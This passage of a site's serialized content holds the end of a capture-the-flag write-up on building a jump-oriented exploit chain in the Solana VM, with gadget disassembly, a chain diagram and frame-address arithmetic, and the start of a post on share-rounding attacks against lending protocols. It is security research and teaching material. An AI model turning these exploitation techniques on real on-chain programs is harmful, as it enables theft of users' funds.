b703000001000000",{"type":24,"tag":271,"props":52608,"children":52609},{"style":630},[52610],{"type":29,"value":52082},{"type":24,"tag":271,"props":52612,"children":52613},{"style":630},[52614],{"type":29,"value":51853},{"type":24,"tag":271,"props":52616,"children":52617},{"style":288},[52618],{"type":29,"value":158},{"type":24,"tag":271,"props":52620,"children":52621},{"style":477},[52622],{"type":29,"value":52623},"0x1\n",{"type":24,"tag":271,"props":52625,"children":52626},{"class":273,"line":483},[52627,52632,52637,52641],{"type":24,"tag":271,"props":52628,"children":52629},{"style":630},[52630],{"type":29,"value":52631},"100001c38",{"type":24,"tag":271,"props":52633,"children":52634},{"style":630},[52635],{"type":29,"value":52636}," 8510000003feffff",{"type":24,"tag":271,"props":52638,"children":52639},{"style":630},[52640],{"type":29,"value":52004},{"type":24,"tag":271,"props":52642,"children":52643},{"style":630},[52644],{"type":29,"value":52645}," __rust_dealloc\n",{"type":24,"tag":271,"props":52647,"children":52648},{"class":273,"line":491},[52649],{"type":24,"tag":271,"props":52650,"children":52651},{"emptyLinePlaceholder":16},[52652],{"type":29,"value":327},{"type":24,"tag":271,"props":52654,"children":52655},{"class":273,"line":499},[52656,52661,52666,52670,52674,52678,52682,52686,52691,52695,52700],{"type":24,"tag":271,"props":52657,"children":52658},{"style":630},[52659],{"type":29,"value":52660},"100001c40",{"type":24,"tag":271,"props":52662,"children":52663},{"style":630},[52664],{"type":29,"value":52665}," 79a2d0ff00000000",{"type":24,"tag":271,"props":52667,"children":52668},{"style":630},[52669],{"type":29,"value":51793},{"type":24,"tag":271,"props":52671,"children":52672},{"style":630},[52673],{"type":29,"value":51798},{"type":24,"tag":271,"props":52675,"children":52676},{"style":288},[52677],{"type":29,"value":51803},{"type":24,"tag":271,"props":52679,"children":52680},{"style":630},[52681],{"type":29,"value":51808},{"type":24,"tag":271,"props":52683,"children":52684},{"style":624},[52685],{"type":29,"value":9821},{"type":24,"tag":271,"props":52687,"children":52688},{"style":477},[52689],{"type":29,"value":52690},"48",{"type":24,"tag":271,"props":52692,"children":52693},{"style":288},[52694],{"type":29,"value":51822},{"type":24,"tag":271,"props":52696,"children":52697},{"style":630},[52698],{"type":29,"value":52699},"var_30",{"type":24,"tag":271,"props":52701,"children":52702},{"style":288},[52703],{"type":29,"value":1171},{"type":24,"tag":271,"props":52705,"children":52706},{"class":273,"line":3188},[52707,52712,52717,52721,52725,52729,52733,52737,52741,52745],{"type":24,"tag":271,"props":52708,"children":52709},{"style":630},[52710],{"type":29,"value":52711},"100001c48",{"type":24,"tag":271,"props":52713,"children":52714},{"style":477},[52715],{"type":29,"value":52716}," 1502030000000000",{"type":24,"tag":271,"props":52718,"children":52719},{"style":630},[52720],{"type":29,"value":52476},{"type":24,"tag":271,"props":52722,"children":52723},{"style":288},[52724],{"type":29,"value":16432},{"type":24,"tag":271,"props":52726,"children":52727},{"style":624},[52728],{"type":29,"value":1012},{"type":24,"tag":271,"props":52730,"children":52731},{"style":477},[52732],{"type":29,"value":4525},{"type":24,"tag":271,"props":52734,"children":52735},{"style":288},[52736],{"type":29,"value":13537},{"type":24,"tag":271,"props":52738,"children":52739},{"style":630},[52740],{"type":29,"value":52174},{"type":24,"tag":271,"props":52742,"children":52743},{"style":288},[52744],{"type":29,"value":158},{"type":24,"tag":271,"props":52746,"children":52747},{"style":477},[52748],{"type":29,"value":52057},{"type":24,"tag":271,"props":52750,"children":52751},{"class":273,"line":3247},[52752],{"type":24,"tag":271,"props":52753,"children":52754},{"emptyLinePlaceholder":16},[52755],{"type":29,"value":327},{"type":24,"tag":271,"props":52757,"children":52758},{"class":273,"line":3255},[52759,52764,52769,52773,52777,52781,52785,52789,52794,52798,52803],{"type":24,"tag":271,"props":52760,"children":52761},{"style":630},[52762],{"type":29,"value":52763},"100001c50",{"type":24,"tag":271,"props":52765,"children":52766},{"style":630},[52767],{"type":29,"value":52768}," 79a1c8ff00000000",{"type":24,"tag":271,"props":52770,"children":52771},{"style":630},[52772],{"type":29,"value":51793},{"type":24,"tag":271,"props":52774,"children":52775},{"style":630},[52776],{"type":29,"value":52087},{"type":24,"tag":271,"props":52778,"children":52779},{"style":288},[52780],{"type":29,"value":51803},{"type":24,"tag":271,"props":52782,"children":52783},{"style":630},[52784],{"type":29,"value":51808},{"type":24,"tag":271,"props":52786,"children":52787},{"style":624},[52788],{"type":29,"value":9821},{"type":24,"tag":271,"props":52790,"children":52791},{"style":477},[52792],{"type":29,"value":52793},"56",{"type":24,"tag":271,"props":52795,"children":52796},{"style":288},[52797],{"type":29,"value":51822},{"type":24,"tag":271,"props":52799,"children":52800},{"style":630},[52801],{"type":29,"value":52802},"var_38",{"type":24,"tag":271,"props":52804,"children":52805},{"style":288},[52806],{"type":29,"value":1171},{"type":24,"tag":271,"props":52808,"children":52809},{"class":273,"line":3263},[52810,52815,52819,52823,52827,52831],{"type":24,"tag":271,"props":52811,"children":52812},{"style":630},[52813],{"type":29,"value":52814},"100001c58",{"type":24,"tag":271,"props":52816,"children":52817},{"style":630},[52818],{"type":29,"value":52606},{"type":24,"tag":271,"props":52820,"children":52821},{"style":630},[52822],{"type":29,"value":52082},{"type":24,"tag":271,"props":52824,"children":52825},{"style":630},[52826],{"type":29,"value":51853},{"type":24,"tag":271,"props":52828,"children":52829},{"style":288},[52830],{"type":29,"value":158},{"type":24,"tag":271,"props":52832,"children":52833},{"style":477},[52834],{"type":29,"value":52623},{"type":24,"tag":271,"props":52836,"children":52837},{"class":273,"line":3293},[52838,52843,52848,52852],{"type":24,"tag":271,"props":52839,"children":52840},{"style":630},[52841],{"type":29,"value":52842},"100001c60",{"type":24,"tag":271,"props":52844,"children":52845},{"style":630},[52846],{"type":29,"value":52847}," 85100000fefdffff",{"type":24,"tag":271,"props":52849,"children":52850},{"style":630},[52851],{"type":29,"value":52004},{"type":24,"tag":271,"props":52853,"children":52854},{"style":630},[52855],{"type":29,"value":52645},{"type":24,"tag":271,"props":52857,"children":52858},{"class":273,"line":3301},[52859],{"type":24,"tag":271,"props":52860,"children":52861},{"emptyLinePlaceholder":16},[52862],{"type":29,"value":327},{"type":24,"tag":271,"props":52864,"children":52865},{"class":273,"line":3683},[52866,52871,52876,52881,52885,52890],{"type":24,"tag":271,"props":52867,"children":52868},{"style":630},[52869],{"type":29,"value":52870},"100001c68",{"type":24,"tag":271,"props":52872,"children":52873},{"style":477},[52874],{"type":29,"value":52875}," 9500000000000000",{"type":24,"tag":271,"props":52877,"children":52878},{"style":630},[52879],{"type":29,"value":52880}," exit",{"type":24,"tag":271,"props":52882,"children":52883},{"style":288},[52884],{"type":29,"value":8137},{"type":24,"tag":271,"props":52886,"children":52887},{"style":630},[52888],{"type":29,"value":52889},"__return_addr",{"type":24,"tag":271,"props":52891,"children":52892},{"style":288},[52893],{"type":29,"value":1171},{"type":24,"tag":25,"props":52895,"children":52896},{},[52897,52899,52905],{"type":29,"value":52898},"Which, assuming that ",{"type":24,"tag":135,"props":52900,"children":52902},{"className":52901},[],[52903],{"type":29,"value":52904},"sol_invoke_signed_rust",{"type":29,"value":52906}," returns 0, is doing the following:",{"type":24,"tag":3834,"props":52908,"children":52909},{},[52910,52919,52928],{"type":24,"tag":101,"props":52911,"children":52912},{},[52913],{"type":24,"tag":135,"props":52914,"children":52916},{"className":52915},[],[52917],{"type":29,"value":52918},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":24,"tag":101,"props":52920,"children":52921},{},[52922],{"type":24,"tag":135,"props":52923,"children":52925},{"className":52924},[],[52926],{"type":29,"value":52927},"*[r10-120] = 0x18",{"type":24,"tag":101,"props":52929,"children":52930},{},[52931,52933,52939,52941,52948],{"type":29,"value":52932},"Calls ",{"type":24,"tag":135,"props":52934,"children":52936},{"className":52935},[],[52937],{"type":29,"value":52938},"__rust_dealloc",{"type":29,"value":52940},", which in default circumstances is a ",{"type":24,"tag":32,"props":52942,"children":52945},{"href":52943,"rel":52944},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[36],[52946],{"type":29,"value":52947},"NOP",{"type":29,"value":41},{"type":24,"tag":25,"props":52950,"children":52951},{},[52952],{"type":29,"value":52953},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":24,"tag":25,"props":52955,"children":52956},{},[52957],{"type":29,"value":52958},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":24,"tag":25,"props":52960,"children":52961},{},[52962,52964,52971],{"type":29,"value":52963},"Looking at the ",{"type":24,"tag":32,"props":52965,"children":52968},{"href":52966,"rel":52967},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[36],[52969],{"type":29,"value":52970},"definition",{"type":29,"value":52972},", it's not crystal clear what the parameters are:",{"type":24,"tag":261,"props":52974,"children":52976},{"className":10718,"code":52975,"language":10717,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[52977],{"type":24,"tag":135,"props":52978,"children":52979},{"__ignoreMap":7},[52980],{"type":24,"tag":271,"props":52981,"children":52982},{"class":273,"line":274},[52983,52987,52992,52996,53001,53005,53009,53013,53017,53021,53026,53030,53034,53038,53042,53046,53051,53055,53059,53063,53068,53072,53076,53080,53084,53088,53093,53097,53101,53105,53109],{"type":24,"tag":271,"props":52984,"children":52985},{"style":278},[52986],{"type":29,"value":27955},{"type":24,"tag":271,"props":52988,"children":52989},{"style":598},[52990],{"type":29,"value":52991}," sol_invoke_signed_rust",{"type":24,"tag":271,"props":52993,"children":52994},{"style":288},[52995],{"type":29,"value":606},{"type":24,"tag":271,"props":52997,"children":52998},{"style":630},[52999],{"type":29,"value":53000},"instruction_addr",{"type":24,"tag":271,"props":53002,"children":53003},{"style":624},[53004],{"type":29,"value":12210},{"type":24,"tag":271,"props":53006,"children":53007},{"style":624},[53008],{"type":29,"value":3895},{"type":24,"tag":271,"props":53010,"children":53011},{"style":278},[53012],{"type":29,"value":611},{"type":24,"tag":271,"props":53014,"children":53015},{"style":3887},[53016],{"type":29,"value":22332},{"type":24,"tag":271,"props":53018,"children":53019},{"style":288},[53020],{"type":29,"value":158},{"type":24,"tag":271,"props":53022,"children":53023},{"style":630},[53024],{"type":29,"value":53025},"account_infos_addr",{"type":24,"tag":271,"props":53027,"children":53028},{"style":624},[53029],{"type":29,"value":12210},{"type":24,"tag":271,"props":53031,"children":53032},{"style":624},[53033],{"type":29,"value":3895},{"type":24,"tag":271,"props":53035,"children":53036},{"style":278},[53037],{"type":29,"value":611},{"type":24,"tag":271,"props":53039,"children":53040},{"style":3887},[53041],{"type":29,"value":22332},{"type":24,"tag":271,"props":53043,"children":53044},{"style":288},[53045],{"type":29,"value":158},{"type":24,"tag":271,"props":53047,"children":53048},{"style":630},[53049],{"type":29,"value":53050},"account_infos_len",{"type":24,"tag":271,"props":53052,"children":53053},{"style":624},[53054],{"type":29,"value":12210},{"type":24,"tag":271,"props":53056,"children":53057},{"style":3887},[53058],{"type":29,"value":13576},{"type":24,"tag":271,"props":53060,"children":53061},{"style":288},[53062],{"type":29,"value":158},{"type":24,"tag":271,"props":53064,"children":53065},{"style":630},[53066],{"type":29,"value":53067},"signers_seeds_addr",{"type":24,"tag":271,"props":53069,"children":53070},{"style":624},[53071],{"type":29,"value":12210},{"type":24,"tag":271,"props":53073,"children":53074},{"style":624},[53075],{"type":29,"value":3895},{"type":24,"tag":271,"props":53077,"children":53078},{"style":278},[53079],{"type":29,"value":611},{"type":24,"tag":271,"props":53081,"children":53082},{"style":3887},[53083],{"type":29,"value":22332},{"type":24,"tag":271,"props":53085,"children":53086},{"style":288},[53087],{"type":29,"value":158},{"type":24,"tag":271,"props":53089,"children":53090},{"style":630},[53091],{"type":29,"value":53092},"signers_seeds_len",{"type":24,"tag":271,"props":53094,"children":53095},{"style":624},[53096],{"type":29,"value":12210},{"type":24,"tag":271,"props":53098,"children":53099},{"style":3887},[53100],{"type":29,"value":13576},{"type":24,"tag":271,"props":53102,"children":53103},{"style":288},[53104],{"type":29,"value":8823},{"type":24,"tag":271,"props":53106,"children":53107},{"style":624},[53108],{"type":29,"value":786},{"type":24,"tag":271,"props":53110,"children":53111},{"style":3887},[53112],{"type":29,"value":20897},{"type":24,"tag":25,"props":53114,"children":53115},{},[53116,53118,53123,53125,53132],{"type":29,"value":53117},"The source of ",{"type":24,"tag":32,"props":53119,"children":53121},{"href":53120},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[53122],{"type":29,"value":51734},{"type":29,"value":53124}," helps a lot, but looking at the actual ",{"type":24,"tag":32,"props":53126,"children":53129},{"href":53127,"rel":53128},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[36],[53130],{"type":29,"value":53131},"implementation",{"type":29,"value":53133}," provides more clarity:",{"type":24,"tag":97,"props":53135,"children":53136},{},[53137],{"type":24,"tag":101,"props":53138,"children":53139},{},[53140,53145,53147,53154],{"type":24,"tag":135,"props":53141,"children":53143},{"className":53142},[],[53144],{"type":29,"value":53000},{"type":29,"value":53146}," points to a ",{"type":24,"tag":32,"props":53148,"children":53151},{"href":53149,"rel":53150},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[36],[53152],{"type":29,"value":53153},"StableInstruction",{"type":29,"value":12210},{"type":24,"tag":25,"props":53156,"children":53157},{},[53158],{"type":24,"tag":74,"props":53159,"children":53161},{"alt":53153,"src":53160},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":24,"tag":97,"props":53163,"children":53164},{},[53165,53190],{"type":24,"tag":101,"props":53166,"children":53167},{},[53168,53173,53175,53180,53182,53189],{"type":24,"tag":135,"props":53169,"children":53171},{"className":53170},[],[53172],{"type":29,"value":53025},{"type":29,"value":53174}," points to a slice of ",{"type":24,"tag":135,"props":53176,"children":53178},{"className":53177},[],[53179],{"type":29,"value":53050},{"type":29,"value":53181}," ",{"type":24,"tag":32,"props":53183,"children":53186},{"href":53184,"rel":53185},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[36],[53187],{"type":29,"value":53188},"AccountInfos",{"type":29,"value":41},{"type":24,"tag":101,"props":53191,"children":53192},{},[53193,53198,53200,53205,53207,53212],{"type":24,"tag":135,"props":53194,"children":53196},{"className":53195},[],[53197],{"type":29,"value":53067},{"type":29,"value":53199}," is a bit trickier, it points to a slice of length ",{"type":24,"tag":135,"props":53201,"children":53203},{"className":53202},[],[53204],{"type":29,"value":53092},{"type":29,"value":53206},", containing slices of ",{"type":24,"tag":135,"props":53208,"children":53210},{"className":53209},[],[53211],{"type":29,"value":11148},{"type":29,"value":41},{"type":24,"tag":25,"props":53214,"children":53215},{},[53216],{"type":24,"tag":74,"props":53217,"children":53220},{"alt":53218,"src":53219},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":24,"tag":25,"props":53222,"children":53223},{},[53224,53226,53231],{"type":29,"value":53225},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":24,"tag":10648,"props":53227,"children":53228},{},[53229],{"type":29,"value":53230},"future call frames",{"type":29,"value":41},{"type":24,"tag":25,"props":53233,"children":53234},{},[53235,53237,53244],{"type":29,"value":53236},"Now that we have all the parts, all we need is to string it together. The full ",{"type":24,"tag":32,"props":53238,"children":53241},{"href":53239,"rel":53240},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[36],[53242],{"type":29,"value":53243},"reference solution can be found here",{"type":29,"value":41},{"type":24,"tag":25,"props":53246,"children":53247},{},[53248],{"type":29,"value":53249},"Here's a visualization of the final JOP chain.",{"type":24,"tag":261,"props":53251,"children":53253},{"className":51616,"code":53252,"language":51618,"meta":7,"style":7},"graph BT\n A[0: entrypoint] --> B[1: process_instruction]\n B --> C[2: process]\n C --> D[3: Write account_infos.ptr to target_r10 - 136]\n C --> E[3: process]\n E --> F[4: Write account_infos.len to target_r10 - 128]\n E --> G[4: process]\n G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n G --> I[5: process]\n I --> J[6: Write signers_seeds.len to target_r10 - 144]\n I --> K[6: process]\n K --> M[7: Write HeapBase to target_r10 - 120]\n K --> N[7: process]\n N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n N --> O[8: Write 0x4337 to the account]\n",[53254],{"type":24,"tag":135,"props":53255,"children":53256},{"__ignoreMap":7},[53257,53265,53272,53279,53287,53294,53302,53310,53318,53326,53334,53342,53350,53358,53366],{"type":24,"tag":271,"props":53258,"children":53259},{"class":273,"line":274},[53260],{"type":24,"tag":271,"props":53261,"children":53262},{},[53263],{"type":29,"value":53264},"graph BT\n",{"type":24,"tag":271,"props":53266,"children":53267},{"class":273,"line":284},[53268],{"type":24,"tag":271,"props":53269,"children":53270},{},[53271],{"type":29,"value":51638},{"type":24,"tag":271,"props":53273,"children":53274},{"class":273,"line":294},[53275],{"type":24,"tag":271,"props":53276,"children":53277},{},[53278],{"type":29,"value":51646},{"type":24,"tag":271,"props":53280,"children":53281},{"class":273,"line":303},[53282],{"type":24,"tag":271,"props":53283,"children":53284},{},[53285],{"type":29,"value":53286}," C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":24,"tag":271,"props":53288,"children":53289},{"class":273,"line":312},[53290],{"type":24,"tag":271,"props":53291,"children":53292},{},[53293],{"type":29,"value":51662},{"type":24,"tag":271,"props":53295,"children":53296},{"class":273,"line":321},[53297],{"type":24,"tag":271,"props":53298,"children":53299},{},[53300],{"type":29,"value":53301}," E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":24,"tag":271,"props":53303,"children":53304},{"class":273,"line":330},[53305],{"type":24,"tag":271,"props":53306,"children":53307},{},[53308],{"type":29,"value":53309}," E --> G[4: process]\n",{"type":24,"tag":271,"props":53311,"children":53312},{"class":273,"line":339},[53313],{"type":24,"tag":271,"props":53314,"children":53315},{},[53316],{"type":29,"value":53317}," G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":24,"tag":271,"props":53319,"children":53320},{"class":273,"line":347},[53321],{"type":24,"tag":271,"props":53322,"children":53323},{},[53324],{"type":29,"value":53325}," G --> I[5: process]\n",{"type":24,"tag":271,"props":53327,"children":53328},{"class":273,"line":356},[53329],{"type":24,"tag":271,"props":53330,"children":53331},{},[53332],{"type":29,"value":53333}," I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":24,"tag":271,"props":53335,"children":53336},{"class":273,"line":365},[53337],{"type":24,"tag":271,"props":53338,"children":53339},{},[53340],{"type":29,"value":53341}," I --> K[6: process]\n",{"type":24,"tag":271,"props":53343,"children":53344},{"class":273,"line":374},[53345],{"type":24,"tag":271,"props":53346,"children":53347},{},[53348],{"type":29,"value":53349}," K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":24,"tag":271,"props":53351,"children":53352},{"class":273,"line":384},[53353],{"type":24,"tag":271,"props":53354,"children":53355},{},[53356],{"type":29,"value":53357}," K --> N[7: process]\n",{"type":24,"tag":271,"props":53359,"children":53360},{"class":273,"line":393},[53361],{"type":24,"tag":271,"props":53362,"children":53363},{},[53364],{"type":29,"value":53365}," N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":24,"tag":271,"props":53367,"children":53368},{"class":273,"line":402},[53369],{"type":24,"tag":271,"props":53370,"children":53371},{},[53372],{"type":29,"value":53373}," N --> O[8: Write 0x4337 to the account]\n",{"type":24,"tag":25,"props":53375,"children":53376},{},[53377,53379,53385],{"type":29,"value":53378},"Small note: ",{"type":24,"tag":135,"props":53380,"children":53382},{"className":53381},[],[53383],{"type":29,"value":53384},"target_r10",{"type":29,"value":53386}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":24,"tag":261,"props":53388,"children":53390},{"className":10718,"code":53389,"language":10717,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n 0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[53391],{"type":24,"tag":135,"props":53392,"children":53393},{"__ignoreMap":7},[53394,53439,53474,53481],{"type":24,"tag":271,"props":53395,"children":53396},{"class":273,"line":274},[53397,53401,53406,53410,53415,53419,53423,53427,53431,53435],{"type":24,"tag":271,"props":53398,"children":53399},{"style":278},[53400],{"type":29,"value":27955},{"type":24,"tag":271,"props":53402,"children":53403},{"style":598},[53404],{"type":29,"value":53405}," call_frame_addr",{"type":24,"tag":271,"props":53407,"children":53408},{"style":288},[53409],{"type":29,"value":606},{"type":24,"tag":271,"props":53411,"children":53412},{"style":630},[53413],{"type":29,"value":53414},"depth",{"type":24,"tag":271,"props":53416,"children":53417},{"style":624},[53418],{"type":29,"value":12210},{"type":24,"tag":271,"props":53420,"children":53421},{"style":3887},[53422],{"type":29,"value":13576},{"type":24,"tag":271,"props":53424,"children":53425},{"style":288},[53426],{"type":29,"value":8823},{"type":24,"tag":271,"props":53428,"children":53429},{"style":624},[53430],{"type":29,"value":786},{"type":24,"tag":271,"props":53432,"children":53433},{"style":3887},[53434],{"type":29,"value":13576},{"type":24,"tag":271,"props":53436,"children":53437},{"style":288},[53438],{"type":29,"value":7145},{"type":24,"tag":271,"props":53440,"children":53441},{"class":273,"line":284},[53442,53447,53451,53456,53460,53465,53469],{"type":24,"tag":271,"props":53443,"children":53444},{"style":477},[53445],{"type":29,"value":53446}," 0x200000000",{"type":24,"tag":271,"props":53448,"children":53449},{"style":624},[53450],{"type":29,"value":4253},{"type":24,"tag":271,"props":53452,"children":53453},{"style":477},[53454],{"type":29,"value":53455}," 0x2000",{"type":24,"tag":271,"props":53457,"children":53458},{"style":624},[53459],{"type":29,"value":3895},{"type":24,"tag":271,"props":53461,"children":53462},{"style":630},[53463],{"type":29,"value":53464}," depth",{"type":24,"tag":271,"props":53466,"children":53467},{"style":624},[53468],{"type":29,"value":4253},{"type":24,"tag":271,"props":53470,"children":53471},{"style":477},[53472],{"type":29,"value":53473}," 0x1000\n",{"type":24,"tag":271,"props":53475,"children":53476},{"class":273,"line":294},[53477],{"type":24,"tag":271,"props":53478,"children":53479},{"style":288},[53480],{"type":29,"value":1171},{"type":24,"tag":271,"props":53482,"children":53483},{"class":273,"line":303},[53484],{"type":24,"tag":271,"props":53485,"children":53486},{"style":2058},[53487],{"type":29,"value":53488},"// call_frame_addr(8) = 0x200011000\n",{"type":24,"tag":62,"props":53490,"children":53491},{"id":10547},[53492],{"type":29,"value":10550},{"type":24,"tag":25,"props":53494,"children":53495},{},[53496,53498,53505],{"type":29,"value":53497},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":24,"tag":32,"props":53499,"children":53502},{"href":53500,"rel":53501},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[36],[53503],{"type":29,"value":53504},"they do exist",{"type":29,"value":41},{"type":24,"tag":25,"props":53507,"children":53508},{},[53509],{"type":29,"value":53510},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":24,"tag":25,"props":53512,"children":53513},{},[53514,53516,53521],{"type":29,"value":53515},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":24,"tag":10648,"props":53517,"children":53518},{},[53519],{"type":29,"value":53520},"entire",{"type":29,"value":53522}," runtime.",{"type":24,"tag":10562,"props":53524,"children":53525},{},[53526],{"type":29,"value":10566},{"title":7,"searchDepth":284,"depth":284,"links":53528},[53529,53533,53534,53537],{"id":26648,"depth":284,"text":26651,"children":53530},[53531,53532],{"id":48207,"depth":294,"text":48210},{"id":49525,"depth":294,"text":49528},{"id":50763,"depth":284,"text":50766},{"id":51598,"depth":284,"text":51601,"children":53535},[53536],{"id":51712,"depth":294,"text":51715},{"id":10547,"depth":284,"text":10550},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":53542,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":53543,"description":53544,"author":53545,"image":53546,"date":53548,"isFeatured":16,"onBlogPage":16,"body":53549,"_type":10599,"_id":54694,"_source":10601,"_file":54695,"_stem":54696,"_extension":10604},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[13438],{"src":53547},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":21,"children":53550,"toc":54683},[53551,53555,53583,53588,53601,53606,53612,53617,53622,53627,53632,53645,53657,53677,53697,53702,53707,53725,53731,53736,53742,53756,53769,53774,53780,53794,53799,53821,54054,54059,54064,54077,54316,54326,54331,54337,54342,54347,54380,54385,54396,54402,54407,54421,54549,54563,54639,54644,54655,54660,54665,54669,54674,54679],{"type":24,"tag":62,"props":53552,"children":53553},{"id":36692},[53554],{"type":29,"value":36695},{"type":24,"tag":25,"props":53556,"children":53557},{},[53558,53560,53567,53568,53575,53577,53582],{"type":29,"value":53559},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":24,"tag":32,"props":53561,"children":53564},{"href":53562,"rel":53563},"https://neodyme.io/de/blog/lending_disclosure",[36],[53565],{"type":29,"value":53566},"fast",{"type":29,"value":158},{"type":24,"tag":32,"props":53569,"children":53572},{"href":53570,"rel":53571},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[36],[53573],{"type":29,"value":53574},"cheap",{"type":29,"value":53576}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":24,"tag":10648,"props":53578,"children":53579},{},[53580],{"type":29,"value":53581},"Most people haven't considered what happens when shares are worth a lot",{"type":29,"value":41},{"type":24,"tag":25,"props":53584,"children":53585},{},[53586],{"type":29,"value":53587},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":24,"tag":3834,"props":53589,"children":53590},{},[53591,53596],{"type":24,"tag":101,"props":53592,"children":53593},{},[53594],{"type":29,"value":53595},"Inflate share value (token to share conversion rate)",{"type":24,"tag":101,"props":53597,"children":53598},{},[53599],{"type":29,"value":53600},"Exploit rounding bug",{"type":24,"tag":25,"props":53602,"children":53603},{},[53604],{"type":29,"value":53605},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":24,"tag":62,"props":53607,"children":53609},{"id":53608},"model",[53610],{"type":29,"value":53611},"Model",{"type":24,"tag":25,"props":53613,"children":53614},{},[53615],{"type":29,"value":53616},"Before we dive in, there's some helpful background information we'll share first.",{"type":24,"tag":25,"props":53618,"children":53619},{},[53620],{"type":29,"value":53621},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":24,"tag":25,"props":53623,"children":53624},{},[53625],{"type":29,"value":53626},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":24,"tag":25,"props":53628,"children":53629},{},[53630],{"type":29,"value":53631},"This question is more complex than it may appear. Let's walk through an example.",{"type":24,"tag":25,"props":53633,"children":53634},{},[53635,53637,53643],{"type":29,"value":53636},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":24,"tag":135,"props":53638,"children":53640},{"className":53639},[],[53641],{"type":29,"value":53642},"1000:1000",{"type":29,"value":53644}," (1000 tokens to 1000 shares).",{"type":24,"tag":25,"props":53646,"children":53647},{},[53648,53650,53656],{"type":29,"value":53649},"After accruing fees, the pool gains one token for a new ratio of ",{"type":24,"tag":135,"props":53651,"children":53653},{"className":53652},[],[53654],{"type":29,"value":53655},"1001:1000",{"type":29,"value":41},{"type":24,"tag":25,"props":53658,"children":53659},{},[53660,53662,53668,53670,53675],{"type":29,"value":53661},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":24,"tag":135,"props":53663,"children":53665},{"className":53664},[],[53666],{"type":29,"value":53667},"1001/1000*999 = 999.999",{"type":29,"value":53669},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":24,"tag":10648,"props":53671,"children":53672},{},[53673],{"type":29,"value":53674},"down",{"type":29,"value":53676}," against the user.",{"type":24,"tag":25,"props":53678,"children":53679},{},[53680,53682,53688,53690,53696],{"type":29,"value":53681},"If we give the user 999 tokens, the new pool state is ",{"type":24,"tag":135,"props":53683,"children":53685},{"className":53684},[],[53686],{"type":29,"value":53687},"2:1",{"type":29,"value":53689},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":24,"tag":135,"props":53691,"children":53693},{"className":53692},[],[53694],{"type":29,"value":53695},"3:1",{"type":29,"value":41},{"type":24,"tag":25,"props":53698,"children":53699},{},[53700],{"type":29,"value":53701},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":24,"tag":25,"props":53703,"children":53704},{},[53705],{"type":29,"value":53706},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":24,"tag":3834,"props":53708,"children":53709},{},[53710,53715,53720],{"type":24,"tag":101,"props":53711,"children":53712},{},[53713],{"type":29,"value":53714},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to 